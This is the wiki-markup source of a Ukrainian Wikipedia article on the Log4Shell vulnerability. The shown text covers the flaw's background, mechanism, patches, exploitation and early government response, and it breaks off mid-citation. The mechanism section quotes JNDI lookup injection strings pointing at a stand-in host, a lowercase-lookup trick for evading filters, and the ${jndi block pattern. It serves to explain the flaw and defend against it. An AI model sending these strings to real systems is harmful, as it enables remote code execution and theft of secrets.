Перегляд вихідного коду сторінки Log4Shell

'''Log4Shell''' ('''CVE-2021-44228''') — це [[вразливість нульового дня]] в [[Log4j]], популярному середовищі ведення журналів Java, що включає виконання довільного коду.<ref name="lunasec3">{{Cite web|lang=en|url=https://www.lunasec.io/docs/blog/log4j-zero-day/|title=Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package|author=Wortley|first=Free|website=LunaSec|date=9 грудня 2021|access-date=12 грудня 2021|archive-date=2021-12-25|archive-url=https://web.archive.org/web/20211225161207/https://www.lunasec.io/docs/blog/log4j-zero-day/|deadlink=no}}</ref><ref>{{Cite web|url=https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228|title=CVE-2021-44228|website=Common Vulnerabilities and Exposures|access-date=12 грудня 2021|archive-date=2021-12-25|archive-url=https://web.archive.org/web/20211225154350/https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228|deadlink=no}}</ref> Вразливість – її існування не було помічено з 2013 року – було розкрито в приватному порядку [[Apache Software Foundation]], проектом якої є Log4j, Чен Чжаоцзюнь із групи безпеки Alibaba Cloud 24 листопада 2021 року та публічно розкрито 9 грудня 2021 року.<ref name="mcafee">{{Cite web|lang=en|url=https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/log4shell-vulnerability-is-the-coal-in-our-stocking-for-2021/|title=Log4Shell Vulnerability is the Coal in our Stocking for 2021|author=Povolny|first=Steve|website=[[McAfee]]|date=10 грудня 2021|access-date=12 грудня 2021|archive-date=2021-12-24|archive-url=https://web.archive.org/web/20211224142312/https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/log4shell-vulnerability-is-the-coal-in-our-stocking-for-2021/|deadlink=no}}</ref><ref>{{Cite web|url=https://www.cyberkendra.com/2021/12/worst-log4j-rce-zeroday-dropped-on.html|title=Worst Apache Log4j RCE Zero day Dropped on Internet|website=Cyber Kendra|date=9 грудня 2021|access-date=12 грудня 2021|archive-date=2021-12-24|archive-url=https://web.archive.org/web/20211224073822/https://www.cyberkendra.com/2021/12/worst-log4j-rce-zeroday-dropped-on.html|deadlink=no}}</ref><ref name="wired4">{{Cite news|author=Newman|first=Lily Hay|date=10 грудня 2021|title='The Internet Is on Fire'|lang=en-US|website=Wired|url=https://www.wired.com/story/log4j-flaw-hacking-internet/|accessdate=12 грудня 2021|issn=1059-1028|archivedate=2021-12-24|archiveurl=https://web.archive.org/web/20211224194533/https://www.wired.com/story/log4j-flaw-hacking-internet/}}</ref><ref name=":0">{{Cite news|author=Murphy|first=Hannah|date=2021-12-14|title=Hackers launch more than 1.2m attacks through Log4J flaw|website=[[Financial Times]]|url=https://www.ft.com/content/d3c244f2-eaba-4c46-9a51-b28fc13d9551|accessdate=2021-12-17|archivedate=2021-12-17|archiveurl=https://web.archive.org/web/20211217011152/https://www.ft.com/content/d3c244f2-eaba-4c46-9a51-b28fc13d9551}}</ref> Apache дав Log4Shell [[Common Vulnerability Scoring System|оцінку серйозності CVSS]] 10, найвищу доступну оцінку.<ref name="security2">{{Cite web|url=https://logging.apache.org/log4j/2.x/security.html|title=Apache Log4j Security Vulnerabilities|website=Log4j|publisher=Apache Software Foundation|access-date=12 грудня 2021|archive-date=2021-12-26|archive-url=https://web.archive.org/web/20211226110637/https://logging.apache.org/log4j/2.x/security.html|deadlink=no}}</ref> Підраховано, що експлойт торкається сотень мільйонів пристроїв і дуже простий у використанні.<ref name="автоссылка16">{{Cite news|last=Murphy|first=Hannah|date=2021-12-14|title=Hackers launch more than 1.2m attacks through Log4J flaw|work=[[Financial Times]]|url=https://www.ft.com/content/d3c244f2-eaba-4c46-9a51-b28fc13d9551|access-date=2021-12-17|accessdate=2021-12-25|archivedate=2021-12-21|archiveurl=https://web.archive.org/web/20211221133410/https://www.ft.com/content/d3c244f2-eaba-4c46-9a51-b28fc13d9551}}</ref><ref name=":7">{{Cite web|url=https://www.washingtonpost.com/technology/2021/12/20/log4j-hack-vulnerability-java/|title=The ‘most serious’ security breach ever is unfolding right now. Here’s what you need to know.|author=Hunter|first=Tatum|website=[[The Washington Post]]|date=20 грудня 2021|url-status=live|access-date=2021-12-25|archive-date=2021-12-27|archive-url=https://web.archive.org/web/20211227200017/https://www.washingtonpost.com/technology/2021/12/20/log4j-hack-vulnerability-java/|deadlink=no}}</ref>

Уразливість використовує те, що Log4j дозволяє запити до довільних [[LDAP|серверів LDAP]] та [[Java Naming and Directory Interface|JNDI]], а не перевіряє відповіді,<ref name="lunasec3"/><ref name="pcworld2">{{Cite web|lang=en|url=https://www.pcmag.com/news/countless-serves-are-vulnerable-to-apache-log4j-zero-day-exploit|title=Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit|author=Mott|first=Nathaniel|website=[[PC Magazine]]|date=10 грудня 2021|access-date=12 грудня 2021|archive-date=2021-12-24|archive-url=https://web.archive.org/web/20211224071413/https://www.pcmag.com/news/countless-serves-are-vulnerable-to-apache-log4j-zero-day-exploit|deadlink=no}}</ref><ref name="technica">{{Cite web|lang=en-us|url=https://arstechnica.com/information-technology/2021/12/minecraft-and-other-apps-face-serious-threat-from-new-code-execution-bug/|title=Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet|author=Goodin|first=Dan|website=Ars Technica|date=10 грудня 2021|access-date=12 грудня 2021|archive-date=2021-12-23|archive-url=https://web.archive.org/web/20211223232654/https://arstechnica.com/information-technology/2021/12/minecraft-and-other-apps-face-serious-threat-from-new-code-execution-bug/|deadlink=no}}</ref> дозволяючи зловмисникам виконувати довільний код Java на сервері чи іншому комп'ютері або передавати конфіденційну інформацію.<ref name="wired4"/> Список вразливих програмних проектів був опублікований групою безпеки Apache.<ref>{{Cite web|url=https://blogs.apache.org/security/entry/cve-2021-44228|title=Apache projects affected by log4j CVE-2021-44228|date=14 грудня 2021|url-status=live|access-date=2021-12-25|archive-date=2021-12-17|archive-url=https://web.archive.org/web/20211217104639/https://blogs.apache.org/security/entry/cve-2021-44228|deadlink=no}}</ref> Затронуті комерційні служби включають [[Amazon Web Services]],<ref>{{Cite web|url=https://aws.amazon.com/security/security-bulletins/AWS-2021-006/|title=Update for Apache Log4j2 Issue (CVE-2021-44228)|website=Amazon Web Services|date=12 грудня 2021|access-date=13 грудня 2021|archive-date=2021-12-28|archive-url=https://web.archive.org/web/20211228154630/https://aws.amazon.com/security/security-bulletins/AWS-2021-006/|deadlink=no}}</ref> [[Cloudflare]],<ref>{{Cite web|url=https://9to5mac.com/2021/12/14/apple-patches-log4shell-icloud-vulnerability/|title=Apple patches Log4Shell iCloud vulnerability, described as most critical in a decade|author=Lovejoy|first=Ben|website=[[9to5mac]]|date=14 грудня 2021|access-date=2021-12-25|archive-date=2021-12-23|archive-url=https://web.archive.org/web/20211223170245/https://9to5mac.com/2021/12/14/apple-patches-log4shell-icloud-vulnerability/|deadlink=no}}</ref> [[iCloud]], [[Minecraft|Minecraft: Java Edition]],<ref>{{Cite web|url=https://help.minecraft.net/hc/en-us/articles/4416199399693-Security-Vulnerability-in-Minecraft-Java-Edition|title=Security Vulnerability in Minecraft: Java Edition|website=Minecraft|publisher=[[Mojang Studios]]|access-date=13 грудня 2021|archive-date=2021-12-24|archive-url=https://web.archive.org/web/20211224012023/https://help.minecraft.net/hc/en-us/articles/4416199399693-Security-Vulnerability-in-Minecraft-Java-Edition|deadlink=no}}</ref> [[Steam]], [[Tencent QQ]] та багато інших.<ref name="pcworld2"/><ref>{{Cite web|url=https://arstechnica.com/information-technology/2021/12/the-critical-log4shell-zero-day-affects-a-whos-who-of-big-cloud-services/|title=The Internet's biggest players are all affected by critical Log4Shell 0-day|author=Goodin|first=Dan|website=[[ArsTechnica]]|date=10 грудня 2021|access-date=13 грудня 2021|archive-date=2021-12-25|archive-url=https://web.archive.org/web/20211225083832/https://arstechnica.com/information-technology/2021/12/the-critical-log4shell-zero-day-affects-a-whos-who-of-big-cloud-services/|deadlink=no}}</ref><ref>{{Cite web|url=https://www.wsj.com/articles/what-is-the-log4j-vulnerability-11639446180|title=What Is the Log4j Vulnerability?|author=Rundle|first=David Uberti and James|date=15 грудня 2021|access-date=2021-12-25|archive-date=2021-12-25|archive-url=https://web.archive.org/web/20211225152657/https://www.wsj.com/articles/what-is-the-log4j-vulnerability-11639446180|deadlink=no}}</ref> За даними Wiz та [[Ernst & Young|EY]], вразливість торкнулася 93% корпоративних хмарних середовищ.<ref name=":62">{{Cite web|url=https://www.wiz.io/blog/10-days-later-enterprises-halfway-through-patching-log4shell|title=Enterprises halfway through patching Log4Shell {{!}} Wiz Blog|website=www.wiz.io|access-date=2021-12-20|archive-date=2021-12-20|archive-url=https://web.archive.org/web/20211220214739/https://www.wiz.io/blog/10-days-later-enterprises-halfway-through-patching-log4shell|deadlink=no}}</ref>

Експерти охарактеризували Log4Shell як найбільшу вразливість за всю історію;<ref name="автоссылка29">{{Cite web|last=Hunter|first=Tatum|last2=de Vynck|first2=Gerrit|date=20 грудня 2021|title=The ‘most serious’ security breach ever is unfolding right now. Here’s what you need to know.|url=https://www.washingtonpost.com/technology/2021/12/20/log4j-hack-vulnerability-java/|url-status=live|website=[[The Washington Post]]|access-date=2021-12-25|archive-date=2021-12-27|archive-url=https://web.archive.org/web/20211227200017/https://www.washingtonpost.com/technology/2021/12/20/log4j-hack-vulnerability-java/|deadlink=no}}</ref> LunaSec охарактеризувала його як «проектний збій катастрофічних масштабів»,<ref name="wired4"/> Tenable сказав, що експлойт був «найбільшою і найкритичнішою вразливістю в історії»,<ref name=":42">{{Cite news|author=Barrett|first=Brian|title=The Next Wave of Log4J Attacks Will Be Brutal|lang=en-US|website=[[Wired (magazine)|Wired]]|url=https://www.wired.com/story/log4j-log4shell-vulnerability-ransomware-second-wave/|accessdate=2021-12-17|issn=1059-1028|archivedate=2021-12-17|archiveurl=https://web.archive.org/web/20211217000805/https://www.wired.com/story/log4j-log4shell-vulnerability-ransomware-second-wave/}}</ref> [[Ars Technica]] назвав його «можливо найсерйознішою вразливістю за всю історію».<ref name=":12">{{Cite web|lang=en-us|url=https://arstechnica.com/information-technology/2021/12/as-log4shell-wreaks-havoc-payroll-service-reports-ransomware-attack/|title=As Log4Shell wreaks havoc, payroll service reports ransomware attack|author=Goodin|first=Dan|website=[[Ars Technica]]|date=2021-12-13|access-date=2021-12-17|url-status=live|archive-date=2021-12-17|archive-url=https://web.archive.org/web/20211217011622/https://arstechnica.com/information-technology/2021/12/as-log4shell-wreaks-havoc-payroll-service-reports-ransomware-attack/|deadlink=no}}</ref> і [[The Washington Post]] заявили, що описи фахівців з безпеки «межують з апокаліпсисом».<ref name="автоссылка29"/>

== Передісторія ==
Log4j — це бібліотека [[журналювання]] з [[Відкритий вихідний код|відкритим вихідним кодом]], яка дозволяє [[Програміст|розробникам програмного забезпечення]] [[Лог|реєструвати]] дані у своїх додатках. Ці дані можуть включати введення користувача.<ref>{{Cite web|language=en|url=https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/|title=Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)|author=Yan|first=Tao|website=Unit 42|date=10 грудня 2021|publisher=[[Palo Alto Networks]]|access-date=2021-12-25|archive-date=2021-12-24|archive-url=https://web.archive.org/web/20211224090516/https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/|deadlink=no}}</ref> Він повсюдно використовується в програмах Java, особливо в корпоративному програмному забезпеченні.<ref name="wired4"/> Спочатку написаний у 2001 році Чекі Гюльджю, тепер він є частиною Apache Logging Services, проекту [[Apache Software Foundation]].<ref>{{Cite web|url=https://logging.apache.org/log4j/2.x/|title=Apache Log4j 2|publisher=Apache Software Foundation|access-date=12 грудня 2021|archive-date=2021-12-14|archive-url=https://web.archive.org/web/20211214202454/https://logging.apache.org/log4j/2.x/|deadlink=no}}</ref> Колишній член комісії з кібербезпеки [[Президент США|президента]] [[Барак Обама|Барака Обами]] Том Келлерманн охарактеризував Apache як «одну з гігантських опор мосту, що сприяє сполучній тканині між світами додатків та комп'ютерним середовищем».<ref name=":52">{{Cite web|lang=en|url=https://thehill.com/policy/technology/overnights/585832-hillicon-valley|title=Hillicon Valley — Apache vulnerability sets off alarm bells|author=Byrnes|first=Jesse|website=[[TheHill]]|date=2021-12-14|access-date=2021-12-17|url-status=live|archive-date=2021-12-17|archive-url=https://web.archive.org/web/20211217015453/https://thehill.com/policy/technology/overnights/585832-hillicon-valley|deadlink=no}}</ref>

== Поведінка ==
Інтерфейс іменування та каталогів Java (JNDI) дозволяє виконувати пошук об'єктів Java під час виконання програми з урахуванням шляху до даних. JNDI може використовувати кілька інтерфейсів каталогів, кожен із яких забезпечує свою схему пошуку файлів. Серед цих інтерфейсів — [[LDAP|полегшений протокол доступу до каталогів (LDAP)]], протокол, не пов'язаний з Java,<ref>{{Cite RFC|rfc=rfc4511}}</ref> який витягує дані об'єкта у вигляді URL-адреси з відповідного сервера, локального або будь-якого іншого в Інтернеті.<ref name="cloudflare-graham-cumming2">{{Cite web|lang=en|url=https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/|title=Inside the Log4j2 vulnerability (CVE-2021-44228)|author=Graham-Cumming|first=John|website=The Cloudflare Blog|date=10 грудня 2021|access-date=13 грудня 2021|archive-date=2021-12-22|archive-url=https://web.archive.org/web/20211222201131/https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/|deadlink=no}}</ref>

У конфігурації за умовчанням під час реєстрації рядка Log4j 2 виконує підстановку рядків у виразах виду <code>${prefix:name}</code>.<ref name="cloudflare-graham-cumming">{{Cite web|lang=en|url=https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/|title=Inside the Log4j2 vulnerability (CVE-2021-44228)|author=Graham-Cumming|first=John|website=The Cloudflare Blog|date=10 грудня 2021|access-date=13 грудня 2021|archive-date=2021-12-22|archive-url=https://web.archive.org/web/20211222201131/https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/|deadlink=no}}</ref> Наприклад, <code>Text: ${java:version}</code> можна перетворити на <code>Text: Java version 1.7.0_67</code>.<ref>{{Cite web|url=https://logging.apache.org/log4j/2.x/manual/lookups.html|title=Lookups|website=Log4j|publisher=Apache Software Foundation|access-date=13 грудня 2021|archive-date=2021-12-25|archive-url=https://web.archive.org/web/20211225125407/https://logging.apache.org/log4j/2.x/manual/lookups.html|deadlink=no}}</ref> Серед розпізнаних виразів є <code>${jndi:<lookup>}</code>; вказавши пошук через LDAP, довільна URL-адреса може бути запитана і завантажена як дані об'єкта Java. <code>${jndi:ldap://example.com/file}</code> завантажить дані з цієї URL-адреси під час підключення до Інтернету. Вводячи рядок, який реєструється, зловмисник може завантажити та виконати шкідливий код, розміщений на загальнодоступній URL-адресі.<ref name="cloudflare-graham-cumming3">{{Cite web|lang=en|url=https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/|title=Inside the Log4j2 vulnerability (CVE-2021-44228)|author=Graham-Cumming|first=John|website=The Cloudflare Blog|date=10 грудня 2021|access-date=13 грудня 2021|archive-date=2021-12-22|archive-url=https://web.archive.org/web/20211222201131/https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/|deadlink=no}}</ref> Навіть якщо виконання даних вимкнено, зловмисник може отримати дані, такі як секретні [[змінні середовища]], розміщуючи їх в URL-адресі, в якій вони будуть замінені та надіслані на сервер зловмисника.<ref name="ducklin2">{{Cite web|url=https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/|title=Log4Shell explained – how it works, why you need to know, and how to fix it|author=Ducklin|first=Paul|website=Naked Security|date=12 грудня 2021|publisher=Sophos|access-date=12 грудня 2021|archive-date=2021-12-26|archive-url=https://web.archive.org/web/20211226153040/https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/|deadlink=no}}</ref><ref>{{Cite web|url=https://danielmiessler.com/podcast/news-analysis-no-311/|title=The log4j (Log4Shell) Situation|author=Miessler|first=Daniel|website=Unsupervised Learning|date=13 грудня 2021|access-date=2021-12-25|archive-date=2021-12-13|archive-url=https://web.archive.org/web/20211213155428/https://danielmiessler.com/podcast/news-analysis-no-311/|deadlink=no}}</ref> Крім LDAP, інші потенційно використовувані протоколи пошуку JNDI включають його безпечний варіант LDAPS, [[RMI|Java Remote Method Invocation (RMI)]], [[DNS|систему доменних імен (DNS)]] та Internet Inter-ORB Protocol (IIOP).<ref>{{Cite web|url=https://www.trendmicro.com/en_us/research/21/l/patch-now-apache-log4j-vulnerability-called-log4shell-being-acti.html|title=Patch Now Apache Log4j Vulnerability Called Log4Shell Actively Exploited|author=Duraishamy|first=Ranga|website=Trend Micro|date=13 грудня 2021|access-date=14 грудня 2021|archive-date=2021-12-20|archive-url=https://web.archive.org/web/20211220020350/https://www.trendmicro.com/en_us/research/21/l/patch-now-apache-log4j-vulnerability-called-log4shell-being-acti.html|deadlink=no}}</ref><ref>{{Cite web|url=https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability|title=CVE-2021-44228: Proof-of-Concept for Critical Apache Log4j Remote Code Execution Vulnerability Available (Log4Shell)|author=Narang|first=Satnam|website=Tenable Blog|date=10 грудня 2021|access-date=14 грудня 2021|archive-date=2021-12-20|archive-url=https://web.archive.org/web/20211220044514/https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability|deadlink=no}}</ref>

Оскільки [[HTTP]]-запити часто реєструються, поширеним вектором атаки є розміщення шкідливого рядка в [[URL|URL-адресі]] HTTP-запиту або в [[Список заголовків HTTP|HTTP-заголовку]], що часто реєструється, такому як User-Agent. Ранні заходи захисту включали блокування будь-яких запитів, що містять потенційно шкідливий вміст, наприклад <code>${jndi</code>.<ref>{{Cite web|url=https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/|title=CVE-2021-44228 - Log4j RCE 0-day mitigation|author=Gabor|first=Gabriel|website=The Cloudflare Blog|date=10 грудня 2021|access-date=13 грудня 2021|archive-date=2021-12-23|archive-url=https://web.archive.org/web/20211223124205/https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/|deadlink=no}}</ref> Наївний пошук можна обійти, заплутавши запит: наприклад, <code>${${lower:j}ndi</code> буде перетворено на пошук JNDI після виконання малої операції над літерою <code>j</code>.<ref>{{Cite web|url=https://blogs.juniper.net/en-us/enterprise-cloud-and-transformation/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns|title=Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns|author=Hahad|first=Mounir|date=12 грудня 2021|access-date=12 грудня 2021|archive-date=2021-12-13|archive-url=https://web.archive.org/web/20211213153756/https://blogs.juniper.net/en-us/enterprise-cloud-and-transformation/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns|deadlink=no}}</ref> Навіть якщо введення, таке як ім'я, не реєструється відразу, воно може бути пізніше записане під час внутрішньої обробки і його вміст буде виконано.<ref name="cloudflare-graham-cumming4">{{Cite web|lang=en|url=https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/|title=Inside the Log4j2 vulnerability (CVE-2021-44228)|author=Graham-Cumming|first=John|website=The Cloudflare Blog|date=10 грудня 2021|access-date=13 грудня 2021|archive-date=2021-12-22|archive-url=https://web.archive.org/web/20211222201131/https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/|deadlink=no}}</ref>

== Виправлення ==
Виправлення для цієї вразливості випустили 6 грудня 2021 року, за три дні до публікації вразливості, в Log4j версії 2.15.0-rc1.<ref>{{Cite web|lang=en|url=https://github.com/apache/logging-log4j2/pull/608|title=Restrict LDAP access via JNDI by rgoers #608|website=Log4j|date=5 грудня 2021|access-date=12 грудня 2021|archive-date=2021-12-30|archive-url=https://web.archive.org/web/20211230024929/https://github.com/apache/logging-log4j2/pull/608|deadlink=no}}</ref><ref>{{Cite web|url=https://www.dynatrace.com/news/blog/what-is-log4shell/|title=What is Log4Shell? The Log4j vulnerability explained (and what to do about it)|author=Berger|first=Andreas|website=Dynatrace news|date=17 грудня 2021|quote=Apache issued a patch for CVE-2021-44228, version 2.15, on December 6. However, this patch left part of the vulnerability unfixed, resulting in CVE-2021-45046 and a second patch, version 2.16, released on December 13. Apache released a third patch, version 2.17, on December 17 to fix another related vulnerability, CVE-2021-45105.|access-date=2021-12-25|archive-date=2021-12-21|archive-url=https://web.archive.org/web/20211221095107/https://www.dynatrace.com/news/blog/what-is-log4shell/|deadlink=no}}</ref><ref>{{Cite web|lang=en|url=https://www.rapid7.com/blog/post/2021/12/10/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/|title=Widespread Exploitation of Critical Remote Code Execution in Apache Log4j {{!}} Rapid7 Blog|author=Rudis|first=boB|website=Rapid7|date=10 грудня 2021|access-date=2021-12-25|archive-date=2021-12-21|archive-url=https://web.archive.org/web/20211221095106/https://www.rapid7.com/blog/post/2021/12/10/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/|deadlink=no}}</ref> Виправлення включало обмеження серверів і протоколів, які можна використовувати для пошуку. Дослідники виявили пов'язану помилку CVE-2021-45046, яка допускає локальне або віддалене виконання коду в певних конфігураціях, відмінних від налаштувань за умовчанням, і була виправлена у версії 2.16.0, яка відключила всі функції з використанням JNDI та підтримку пошуку повідомлень.<ref name="cve-2021-45056">{{Cite web|url=https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046|title=CVE-2021-45046|website=Common Vulnerabilities and Exposures|date=15 грудня 2021|access-date=15 грудня 2021|archive-date=2021-12-25|archive-url=https://web.archive.org/web/20211225154351/https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046|deadlink=no}}</ref><ref>{{Cite web|lang=en|url=https://www.zdnet.com/article/second-log4j-vulnerability-found-apache-log4j-2-16-0-released/|title=Second Log4j vulnerability discovered, patch already released|author=Greig|first=Jonathan|website=ZDNet|date=14 грудня 2021|access-date=17 грудня 2021|archive-date=2021-12-27|archive-url=https://web.archive.org/web/20211227160901/https://www.zdnet.com/article/second-log4j-vulnerability-found-apache-log4j-2-16-0-released/|deadlink=no}}</ref> Для попередніх версій клас <code>org.apache.logging.log4j.core.lookup.</code> <code>JndiLookup</code> необхідно видалити з шляху до класів, щоб зменшити обидві вразливості.<ref name="security2"/><ref name="cve-2021-450563">{{Cite web|url=https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046|title=CVE-2021-45046|website=Common Vulnerabilities and Exposures|date=15 грудня 2021|access-date=15 грудня 2021|archive-date=2021-12-25|archive-url=https://web.archive.org/web/20211225154351/https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046|deadlink=no}}</ref> Раніше рекомендоване виправлення для старих версій полягало в установці для системної властивості log4j2.formatMsgNoLookups true, але ця зміна не запобігає використанню CVE-2021-45046.<ref name="cve-2021-450562">{{Cite web|url=https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046|title=CVE-2021-45046|website=Common Vulnerabilities and Exposures|date=15 грудня 2021|access-date=15 грудня 2021|archive-date=2021-12-25|archive-url=https://web.archive.org/web/20211225154351/https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046|deadlink=no}}</ref>

Більш нові версії [[Java Runtime Environment]] (JRE) також зменшують цю вразливість, блокуючи завантаження віддаленого коду за умовчанням, хоча в деяких додатках все ще існують інші напрямки атак.<ref name="lunasec3"/><ref name="ducklin2"/><ref>{{Cite web|lang=en|url=https://www.oracle.com/java/technologies/javase/8u121-relnotes.html|title=Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes|date=17 січня 2017|publisher=Oracle|access-date=13 грудня 2021|archive-date=2021-12-19|archive-url=https://web.archive.org/web/20211219195714/https://www.oracle.com/java/technologies/javase/8u121-relnotes.html|deadlink=no}}</ref><ref>{{Cite web|url=https://www.veracode.com/blog/research/exploiting-jndi-injections-java|title=Exploiting JNDI Injections in Java|date=2019-01-03|publisher=[[Veracode]]|access-date=2021-12-15|archive-date=2021-12-15|archive-url=https://web.archive.org/web/20211215205604/https://www.veracode.com/blog/research/exploiting-jndi-injections-java|deadlink=no}}</ref> Було опубліковано кілька методів та інструментів, які допомагають виявити використання вразливих версій log4j у вбудованих пакетах Java.<ref name="lunasec-mitigation-guide">{{Cite web|lang=en|url=https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/|title=Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)|website=www.lunasec.io|date=13 грудня 2021|access-date=13 грудня 2021|archive-date=2021-12-24|archive-url=https://web.archive.org/web/20211224184513/https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/|deadlink=no}}</ref>

== Використання ==
[[Експлойт]] дозволяє хакерам отримати контроль над вразливими пристроями за допомогою [[Java]].<ref name="автоссылка16"/> Деякі хакери використовують вразливість, щоб використовувати можливості жертв; у тому числі [[Майнінг|майнінг криптовалюти]], створення [[ботнет]]ів, розсилання спаму, створення [[бекдор]]ів та інші незаконні дії, такі як атаки [[Ransomware|програм-вимагачів]].<ref name="автоссылка16"/><ref name="автоссылка29"/><ref name=":22">{{Cite web|lang=en-US|url=https://www.usatoday.com/story/money/business/2021/12/16/log-4-j-vulnerability-small-business/8910567002/|title='Critical vulnerability': Smaller firms may find it harder to stop hackers from exploiting Log4j flaw|author=Woodyard|first=Chris|website=[[USA Today]]|access-date=2021-12-17|url-status=live}}</ref> Протягом кількох днів після публікації вразливості [[Check Point]] відслідковувала мільйони атак, ініційованих хакерами, при цьому деякі дослідники спостерігали швидкість понад сто атак на хвилину, що зрештою призвело до більш ніж 40% атак. бізнес-мереж, які зазнають міжнародних атак.<ref name="автоссылка16"/><ref name=":52"/>

За словами [[Генеральний директор|генерального директора]] [[Cloudflare]] Метью Прінса, докази використання або тестування експлойту з'явилися ще 1 грудня, за дев'ять днів до того, як його було публічно розкрито. Згідно з кібербезпекою фірми GreyNoise, кілька [[IP-адреса|IP-адрес]] були [[Web scraping|зіскібами]] сайтів для перевірки серверів, які мають вразливість.<ref>{{Cite web|url=https://www.greynoise.io/blog/apache-log4j-vulnerability-CVE-2021-44228|title=Exploit activity for Apache Log4j vulnerability - CVE-2021-44228|website=Greynoise Research|date=10 грудня 2021|access-date=14 грудня 2021|archive-date=2021-12-20|archive-url=https://web.archive.org/web/20211220093219/https://www.greynoise.io/blog/apache-log4j-vulnerability-CVE-2021-44228|deadlink=no}}</ref> Декілька [[ботнет]]ів почали сканування на предмет вразливості, включаючи ботнет Muhstik до 10 грудня, а також [[Mirai (ботнет)|Mirai]], Tsunami та XMRig.<ref name="автоссылка16"/><ref name="duckett2">{{Cite web|lang=en|url=https://www.zdnet.com/article/log4j-rce-activity-began-on-december-1-as-botnets-start-using-vulnerability/|title=Log4j RCE activity began on 1 December as botnets start using vulnerability|author=Duckett|first=Chris|website=ZDNet|access-date=13 грудня 2021|archive-date=2021-12-22|archive-url=https://web.archive.org/web/20211222204737/https://www.zdnet.com/article/log4j-rce-activity-began-on-december-1-as-botnets-start-using-vulnerability/|deadlink=no}}</ref><ref>{{Cite web|url=https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild|title=Technical Advisory: Zero-day critical vulnerability in Log4j2 exploited in the wild|author=Zugec|first=Martin|website=Business Insights|date=13 грудня 2021|publisher=[[Bitdefender]]|access-date=2021-12-25|archive-date=2021-12-15|archive-url=https://web.archive.org/web/20211215165917/https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild|deadlink=no}}</ref> Конті було помічено з використанням уразливості 17 грудня.<ref name="автоссылка29"/>

Деякі групи, що спонсоруються державою в Китаї та Ірані, також використовували експлойт, згідно з Check Point, хоча невідомо, чи використовувався експлойт Ізраїлем, Росією чи США до розкриття вразливості.<ref name="автоссылка29"/><ref name="автоссылка55">{{Cite news|last=Barrett|first=Brian|title=The Next Wave of Log4J Attacks Will Be Brutal|language=en-US|work=[[Wired (magazine)|Wired]]|url=https://www.wired.com/story/log4j-log4shell-vulnerability-ransomware-second-wave/|access-date=2021-12-17|issn=1059-1028|accessdate=2021-12-25|archivedate=2021-12-27|archiveurl=https://web.archive.org/web/20211227055129/https://www.wired.com/story/log4j-log4shell-vulnerability-ransomware-second-wave/}}</ref> Check Point заявила, що 15 грудня 2021 року хакери, які підтримує Іран, спробували проникнути в мережі підприємств та уряди Ізраїлю.<ref name="автоссылка29"/>

== Відповідь та вплив ==

=== Урядовий ===
У Сполучених Штатах директор Агентства з кібербезпеки та безпеки інфраструктури (CISA) Джен Істерлі описала експлойт як «один із найсерйозніших, якщо не найсерйозніший, який я бачив за всю свою кар'єру», пояснивши, що сотні мільйонів пристроїв були порушені та рекомендували постачальникам приділяти пріоритетна увага оновлень програмного забезпечення.<ref name="автоссылка16"/><ref>{{Cite web|url=https://www.cisa.gov/news/2021/12/11/statement-cisa-director-easterly-log4j-vulnerability|title=Statement from CISA Director Easterly on "Log4j" Vulnerability|website=CISA|date=11 грудня 2021|access-date=2021-12-25|archive-date=2021-12-27|archive-url=https://web.archive.org/web/20211227151135/https://www.cisa.gov/news/2021/12/11/statement-cisa-director-easterly-log4j-vulnerability|deadlink=no}}</ref><ref name="автоссылка4">{{Cite web|last=Woodyard|first=Chris|title='Critical vulnerability': Smaller firms may find it harder to stop hackers from exploiting Log4j flaw|url=https://www.usatoday.com/story/money/business/2021/12/16/log-4-j-vulnerability-small-business/8910567002/|url-status=live|access-date=2021-12-17|website=[[USA 